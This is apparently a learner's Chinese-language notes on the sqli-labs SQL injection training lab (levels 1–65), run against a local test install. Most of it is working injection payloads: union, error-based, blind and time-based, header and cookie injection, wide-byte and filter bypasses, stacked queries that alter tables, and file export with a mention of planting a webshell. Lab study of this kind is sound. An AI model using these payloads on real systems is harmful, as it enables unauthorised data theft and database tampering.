sql-labs|sql-labs 65

有关于sqllab的65题,
以下,是我的猜测:
1.select user,password from table where id= '$id'
下面是对应报错:

use near '' 1' ' LIMIT 0,1' at line 1near ''1\'LIMIT 0,1' at line 1

原理就是参数被转化为字符串了
何不加一句?
echo "sql 语句是:".$sql."
";

闭合或注释:
id=1' and '1'='1

--+ # (加号替代空格)
我觉得这一步就是注入:
select user,password from table where id= '1' and 1=0union select 1,database(),3 and '1'='1'

注入之后:
select ID,user,password from table where id= '1' and 1=2 union select 1,2,3 and '1'='1'http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=0union select 1,database(),3 and '1'='1

@@basedir 路径
select database(),version(),user() ,数据库名,版本号,用户
set name 'gbk'; 设置字符
2
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; ?id=1"; echo'2333'; #"

union 联合查询,爆字段数
union select 1,2,3...
继续递归查询,
?id=1 union select 1,2,'x',4 from table where x_type='x'
无辜的SQL函数:
user() 用户名
database() 数据库
select suser_name() 返回用户的登录标识名
select user_name() 基于指定标识号,返回数据库用户名
select db_name() 返回数据库名称
select is_member('db_owner') 是否为数据库角色
select conver(int,'5') 数据类型转换
select group_concat(table_name) from information_schema.tables where table_schema=hex(库名)爆表名select group_concat(column_name) from information_schema.columns where table_name=爆表内容concat_ws(char(32,58,32),version(),database(),user()...) # 32是空格,58是:冒号 把多行连接为一行 SELECT id,GROUP_CONCAT(score) FROM testgroup GROUP BY id; 把ID一样的罗列出来concat_ws(char(32,58,32),user(),database(),version())打包带走

数据库information_schema:
SCHEMATA表:储存mysql所有数据库的基本信息;
TABLES表:储存mysql中的表信息 ;
COLUMNS表:提供了表中的列信息;
1.获取mysql所有表结构的sql语句: SELECT *FROM information_schema.TABLE; (WHERE TABLE_SCHEMA='数据库名称'; ) 2.获取表字段的sql语句 SELECT* FROM information_schema.COLUMNS; (WHERE TABLE_NAME='表名' ;) 3.获取表键值的sql语句 SELECT * FROM information_schema.KEY_COLUMN_USAGE; (WHERE TABLE_NAME='表名' ) 4.获取表check约束的sql语句SELECT * FROM information_schema.TABLE_CONSTRAINTS; (WHERE TABLE_SCHEMA='数据库名称'; ) 5.获取表索引的sql语句 SELECT* FROM information_schema.STATISTICS; (WHERE TABLE_NAME='表名' )

$sql="SELECT * FROM users WHERE id=('$id ##1')=1 and 1=1--+') LIMIT 0,1"; 成品 ?id=1')and 1=0 union select 1,concat_ws(char(32,58,32),version(),database(),user()),3--+

$id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=("'. $id .1'")and 1=0'") LIMIT 0,1"; '" 1\") LIMIT 0,1' ?id=1'")and 1=0union select 1, 2, concat_ws (char(32,58,32),version(),user(),database()) --+

5.显示错误类型
count和group by 合在一起用就会建立一个虚拟表,
开始查询数据,取数据库数据,然后查看虚拟表存在不,
不存在则插入新记录, 存在则count(*)字段直接加1
主键必须唯一,
报错需要count(*),rand()、group by,三者缺一不可
最重要的是前面几条记录查询后不能让虚表存在0,1键值
  • key * count(*) *
  • 0 * m *
  • 1 * n *
大概就是这样,随机的目的在于让主键 key 重复
?id= 0' union selectcount(*),0,concat(( select user() ),floor(rand()*2)) as xfrom information_schema.tables group by xlimit 0,10 --+

6.报错2
$id = ' "'.$id.'" '; $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; $sql="SELECT * FROM users WHERE id="'.$id.'"LIMIT 0,1"; id=" 1 " and 1=2LIMIT 0,1"; /Less-6/?id= 0 "union select count(*),0,concat (0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a limit 0,10 --+

7.导出
D:\myphp_www\PHPTutorial\WWW\
这是我的储存地址
union select 1,database(),user() into outfile 'D:\\myphp_www\\PHPTutorial\\WWW\\3.txt'--+ 导出文件

8.布尔盲注
length() 返回长度
substr(abc,1,1) 截取字符串
ascii() 返回字符的ASCII码
?id=1' andascii( substr((select database()),1,1)>64# 返回正确,大于64

时间盲注
Less-9/?id=1' and if (ascii(substr(database(),1,1))>115,0,sleep(5)) %23

if (a>0 , b ,c ) 对的话返回第一个,错的话返回第二个
  1. "
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; 'or 1=1 #uname=wrong ' union select user(),database() --& passwd=admin & submit=Submit@$sql="SELECT username, password FROM users WHERE username='wrong' union select ,database() --& passwd=admin & submit=Submit' and password='$passwd' LIMIT 0,1";

???为什么一定要是这种形式
--+ # 删去后面内容 都不行?
但是-- + 可以
echo "sql 语句是:".$sql."
";
")
sql 语句是:SELECT username, password FROM users WHERE username=("wrong ") union select user() ,database() -- + ") and password=("admin") LIMIT 0,1

@$sql="SELECT username, password FROM users WHERE username=(' wrong') ; " echo '233333' ; -- +') and password=('$passwd') LIMIT 0,1"; uname=wrong') " ; echo '233333' ; // wrong') " ; echo '233333' ; //

为什么不行?---这里还不到堆叠注入
uname=1&passwd=2')union select count(*), concat_ws( char(32,58,32), (select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand()*2))as a from information_schema.tables group by a # &submit=Submituname= 23333') union select count(*), concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.tables group by a# &passwd= ') or 1=1 # &submit=Submit

双注入,count后的group by虚拟表key冲突
uname= " union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as a from information_schema.tables group by a # &passwd= ') or 1=1 # &submit=Submit

这些有规律的井(#)是要玩什么?
15.盲注:
uname=' or (length(database())) = 8 #&passwd=' or 1=1 #&submit=Submit uname='or (ascii(substr((select database()) ,1,1))) = 115#&passwd=' or 1=1 #&submit=Submit 将来用sqlmap试试

16.时间盲注
and与or的截断性
在SQL语句中如果and前面为false那么后面的语句就不会执行。
如果or前面为true那么后面的语句就不会执行。
uname=") or (length(database())) = 8 #&passwd=") or 1=1 #&submit=Submit uname=") or (ascii(substr((select database()) ,1,1))) = 115or if(1=1, sleep(1), null)#&passwd=") or 1=1 #&submit=Submit

17.构造类似双注入的查询报错 ???
https://www.cnblogs.com/superkrissV/p/8343507.html
当前用户:
uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,user(),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#当前数据库中的表名: uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#选定users表获取列名: uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' limit 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#password: uname=admin&passwd=123' AND (SELECT 1 FROM (SELECT count(*),(concat(0x7e,(SELECT password FROM users LIMIT 0,1),0x7e,floor(rand()*9)))name from information_schema.tables group by name)b)#Xpath uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,database(),0x7e),1)#账号: uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select username from (select username from users limit 1,1) a),0x7e),1)#密码: uname=admin&passwd=123' AND UpdateXml(1,concat(0x7e,(select password from (select password from users limit 1,1) a),0x7e),1)#

18.用户代理,头部post注入
?怎么还就有时候不行了?!
User-Agent: 123' AND UpdateXml(1,concat(0x7e,database(),0x7e),1),1,1)#User-Agent: 123' AND UpdateXml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1),1,1)#User-Agent: 123' AND UpdateXml(1,concat(0x7e,(select username from (select username from users limit 2,1) a),0x7e),1),1,1)#User-Agent: 123' AND UpdateXml(1,concat(0x7e,(select password from (select password from users limit 2,1) a),0x7e),1),1,1)#

要是不行就放到burp里,go一下
  1. 头部 referer post
Referer: 123' AND UpdateXml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1),1)#Referer: 123' AND UpdateXml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1),1)#Referer: 123' AND UpdateXml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),1),1)#Referer: 123' AND UpdateXml(1,concat(0x7e,(select password from security.users limit 0,1),0x7e),1),1)#

20.错误的头部cookie注入
cookie:uname=wrong' union select 1,2,database()#

?ID输错,用户名输错才行
uname=wrong' union select 1, 2, concat_ws (char(32,58,32),version(),user(),database() )--+

加上了'),再base64一下
')union select 1, 2, email_id from emails#----> Jyl1bmlvbiBzZWxlY3QgMSwgMiwgZW1haWxfaWQgZnJvbSBlbWFpbHMjuname=wrong')union select 1, 2, concat_ws (char(32,58,32),version(),user(),database()) #

转码后,怎么#就可以,--+不可以?
还有就是,这题似乎也是 有时候非要去跑一下才行。
这句后面不加 or 1=1 还不行
"union select 1,concat_ws (char(32,58,32),version(),user(),database()),2 or 1=1#InVuaW9uIHNlbGVjdCAxLGNvbmNhdF93cyAoY2hhcigzMiw1OCwzMiksdmVyc2lvbigpLHVzZXIoKSxkYXRhYmFzZSgpKSwyIG9yIDE9MSAgIw==

亲测,找不到原因的,有时可以有时不行,怀疑与浏览器缓存有关,重启电脑之后才行
"union select 1,concat_ws (char(32,58,32),version(),user(),database()),2 or 1=1--+ 不行,但是 -- +就行

23.正则过滤
$reg = "/#/"; $reg1 = "/--/"; $replace = ""; $id = preg_replace($reg, $replace, $id); $id = preg_replace($reg1, $replace, $id);

有正则表达式过滤,
?获取数据库
http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1, (select group_concat(schema_name)frominformation_schema.schemata),'3

此处获取的数据库为 security
?查看 security 库数据表
http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1, (select group_concat(table_name) from information_schema.tables where table_schema='security'),'3

24.这题居然还能有错?!
修改密码
admin'#
此时再改admin'#的密码,就是该admin的密码

  1. or and 过滤
    (1)大小写变形 Or,OR,oR
    (2)编码,hex,urlencode
    (3)添加注释 /or/
    (4)利用符号 and=&& or=|
?id=0' oorr 1=1 --+ ?id=2' aandnd 1=1 --+ ?id=1'||extractvalue(1,concat(0x7e,database()))--+ ?id=0' union select 1,group_concat(table_name),database() from infoorrmation_schema.tables where table_schema='security' --+

反正看提醒重复 or,and,就是了
最好是符号代替
25 a .
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; //25a $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //25

那把 ' 去了好了
26.26a:
将空格,or,and,/*,#,--,/等各种符号过滤
%a0 空格
大不了对称闭合,or and 如上,空格换掉
26a,括号不表
' 27,27 a:
过滤 union 和 select,大小写混写就行
/Less-27/?id=100'unIon%a0SelEcT%a01,database(),3||'1Less-27a/?id=100“%a0UnIon%a0SElecT%a01,user(),”3 ?id=100"%a0UnIon%a0SElecT%a01,user(),"3

28,28 a:
过滤条件变了而已
反正Windows上的Apache也不显示这些字符。
29:
真正提供 web服务的是 php服务器。
工作流程为: client 访问服务器, 能直接访问到 tomcat 服务器,
然后 tomcat 服务器再向 apache 服务器请求数据。
Explain: apache(php)解析最后一个参数,即显示 id=2 的内容。
Tomcat(jsp)解析第 一个参数,即显示 id=1 的内容。
所以说,既然第一个参数被处理,那就提交正常的第一个参数,对第二个参数下手。
Less-29/?id=1&id=-2 'union select 1,user(),3 --+ '

30.31
?id=1&id=-2"?id=1&id=-2")

32.宽字节注入
所以要把那个\给去掉,' -->'
mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字
我们在过滤 ' 的时候,往往利用的思 路是将 ' 转换为 '
然后把\去掉:
' 1 : %df 吃掉 \ ,具体的原因是 urlencode(') =%5c%27, '
我们在%5c%27 前面添加%df,形成%df%5c%27,
而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,
此 事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,
同时也就达到了我们的目的。
2 : 将 \’ 中的 \ 过滤掉,
例如可以构造 %**%5c%5c%27 的情况,
后面的%5c 会被前面的%5c 给注释掉
Less-32/?id=-1%df%27union select 1,user(),3--+

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
也就是 单引号,双引号 和 反斜杠
方法一样。
post 吃掉\
没有了反斜杠,和前几关很像
Less-35/?id=-1%20%20union%20select%201,user(),3--+

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00 \n \r \x1a \ ' "

可以这样:
Less-36/?id=-1 %EF %BF %BD %27union%20select%201,user(),3--+%EF%BF%BD%27 --> ?'也可以这样: Less-36/?id=-1%df%27union%20select%201,user(),3--+

与34关是大致相似的,区别在于处理 post 内容用的是 mysql_real_escape_string() 函数,而不是 addslashes()函数,但是原理是一样的
uname=1%FE' union select version(),database() #&passwd=1%FE' or 1=1 #&submit=Submit

堆叠注入:另起一句,分号隔开。
?id=1'; insert into users(id,username,pass word) values ('38','less38','hello')-- +

另外,和不堆叠也很像:
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- +

39.无引号
40.')
41.和39一样的,无回显的盲注
42.单引号闭合绕过
这题MySQL-front 不显示
但是PHPadmin 显示,原因不明
重启MySQL-front 就行了...
账号:admin
密码:
c'; create table less43 like users#
c'; drop table less43 # 再删了
改密码界面还有一个bug,详见24关。
  1. 和42一样,多个)
    Password:c'); createtableless43likeusers#
44.和42一样,但是没有报错信息,盲注
45.和43一样,没有报错,盲注
44.45.盲注方面,我觉得有向别人学习的必要
order by 后的参数排序。 1,2,3
报错注入:
?sort=(select count(*) from security.users group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))

这个说结果大于一行
?sort=(select%20count(*)%20from%20security.users%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))

盲注,如果不对 会乱序
Less-46/?sort=rand(ascii(left(database(),1))=115)

亦可时间盲注:
?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep (5))

procedure analyse 参数后注入 利用 procedure analyse 参数,
我们可以执行报错注入。
同时,在 procedure analyse 和 orde r by 之间可以存在 limit参数,我们在实际应用中,往往也可能会存在 limit 后的注入,可以 利用 procedure analyse 进行注入。
Less-46/?sort=1procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

或者导出文件:
?sort=1 into outfile "D:\\myphp_www\\PHPTutorial\\WWW\\46.txt "

?那这个时候我们可以考虑上传网马,利用 lines terminated by Into outtfile c:\wamp\www\sqllib\test1.txt lines terminated by 0x(网马进行 16 进制转换)
这一步是个什么操作我也不知道
47.比46多了引号,但是上传网马的操作后期有必要学下
48.比46,无错误回显,不能报错注入,别的一样。
49.47的无回显
带order by的堆叠注入而已。
Less-50/index.php?sort=1;
create table less50 like users
51.引号
Less-51/index.php?sort=1'; create table less51 like users--+

52.还是数字注入,前台不显示
53.加引号的前台不显示
  1. 限制次数,超过10次会变,而且内容不一样
?id=-1%27union%20select%201,database(),user() -- +Less-54?id=-1'union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='challenges'-- + 得到表名:b567lzzbl3?id=-1'union select 1,2, group_concat(column_name) from information_schema.columns where table_name='b567lzzbl3'-- + 得到所有列:id, sessid, secret_8S5F, tryy

打开此列的内容 得到密码:
?id=-1%27union%20select%201,2,group_concat(secret_8S5F)%20from%20challenges.b567lzzbl3--+

密码:********
提交完密码之后会变。
  1. )
')
  1. "
报错注入
不能用union联合,所以构造报错。
Less-58/?id=-1'union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+我也试了这个: ?id=-1' union selectcount(*),0,concat(( select database() ),floor(rand()*2)) as xfrom information_schema.tables

但是错误是随机出来的,所以在有限次内不很合适。
  1. 数字同上
  2. 引号同上
  3. '))同上
时间盲注:
?id=1')and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='challenges'),1,1))>888,0,sleep(10)) -- +

去括号同上
双括号同上
")
【sql-labs|sql-labs 65】我终于猜测完了,真累。

    推荐阅读